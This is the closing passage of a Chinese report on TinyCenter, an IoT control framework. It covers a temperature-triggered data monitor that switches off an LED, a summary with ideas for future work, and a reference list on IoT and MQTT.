<p><img loading="lazy" src="media/1d3f55336f9f802703d5b49b9dca20e4.png" alt=""  />
</p>
<p>图 613数据监视器项</p>
<ol>
<li>接通电源。</li>
</ol>
<h3 id="操作与信息观察">操作与信息观察</h3>
<p>在Thermometer类的CTemperature项数据大于等于25时，mon_run中的代码被触发执行。</p>
<p>点击5.2.1节中的Open按钮打开Led灯（图
614灯亮）。之后等待20秒，温度计上传最新温度数据后，数据监视器被触发，灯被关闭（图
615灯灭）。串口信息（Monitor start）见图 616串口信息。</p>
<p><img loading="lazy" src="media/e918bd43ccd26a1a7a6fca99eaedfcf2.jpeg" alt=""  />
</p>
<p>图 614灯亮</p>
<p><img loading="lazy" src="media/3944bbc1da6c422213b728c478ba6bd0.jpeg" alt=""  />
</p>
<p>图 615灯灭</p>
<p><img loading="lazy" src="media/1efc8088c41fae44d8e8172b804e24b6.png" alt=""  />
</p>
<p>图 616串口信息</p>
<p>将数据监视器项的mon_mode项改为2（反向重复），重复上述实验：首先使用快捷按钮将LED灯打开，LED灯关闭后数据监视器被挂起，若温度下降到低于25摄氏度，则该监视器项重新上线，在此不再赘述（见4.6.5节）。</p>
<h1 id="总结和展望">总结和展望</h1>
<p>本文阐述了一个物联网设备的控制和协同工作框架TinyCenter，其包含辅助控制器、中心控制器、Client设备、服务器端和Android端五部分，各个部分相互联动，实现了设备与设备之间的配合与信息交流。该框架还可以进一步改进，例如，可以增加Client设备与中心控制器连接的方式（使用蓝牙等），可以继续丰富权限控制功能，或者进一步优化提升其数据传输效率，甚至可以使用日志功能实时记录传感器的数值信息导入数据分析框架等。</p>
<p>在物联网的世界中，物与物直接的联系更加紧密，人类的生产和生活效率大幅度提升。物联网是一个很大的市场，未来有着无限的潜力。</p>
<h1 id="参考文献">参考文献</h1>
<ol>
<li>
<p>高璇. 物联网技术对社会生活的影响及应用现状[J]. 网络与信息, 2011(7):35-35.</p>
</li>
<li>
<p>Gates B, Myhrvold N, Rinearson P. The road ahead [M]. 1995</p>
</li>
<li>
<p>Pefia-Låpez I. ITU Internet report 2005: the Internet of Things [R]. Geneva:
ITU.2005.</p>
</li>
<li>
<p>刘延吉. 物联网技术研究综述 [J]. 价值工程，2013（22）：226-227.</p>
</li>
<li>
<p>钟良骥，桂学勤，廖海斌，等 . 基于 MQTT 的物联网平台设计与分析 [J].
郧阳师范高等专科学校学报，2014（6）：52-55</p>
</li>
<li>
<p>康世龙，杜中一，雷咏梅，等 . 工业物联网研究概述 [J].
物联网技术，2013，3（6）：83.</p>
</li>
<li>
<p>ABB与华为宣布战略合作，携手华为云推进中国工业数字化[J].今日制造与升级,2019(10):13.</p>
</li>
<li>
<p>鲍军民.MQTT协议与阿里云的纺机设备监控系统设计[J].单片机与嵌入式系统应用,2020,20(04):32-35.</p>
</li>
<li>
<p>Jon Gold. IoT roundup: Keeping an eye on energy use and Volkswagen teams
with AWS[J]. Network World (Online),2019.</p>
</li>
<li>
<p>Object Computing Inc.; Object Computing, Inc. OCI Achieves IoT Partner
Specialization in Google Cloud Partner Program[J]. Journal of
Engineering,2019.</p>
</li>
<li>
<p>熊梦彪,高誉,周龙丽,陈佳音,黄康辉.基于NodeMcu和MQTT协议的物联网网关设计[J].数字通信世界,2019(12):47.</p>
</li>
<li>
<p>刘立.MVVM模式分析与应用[J].微型电脑应用,2012,28(12):57-60.</p>
</li>
</ol>
]]></content:encoded>
    </item>
    
    
    
  </channel>
</rss>
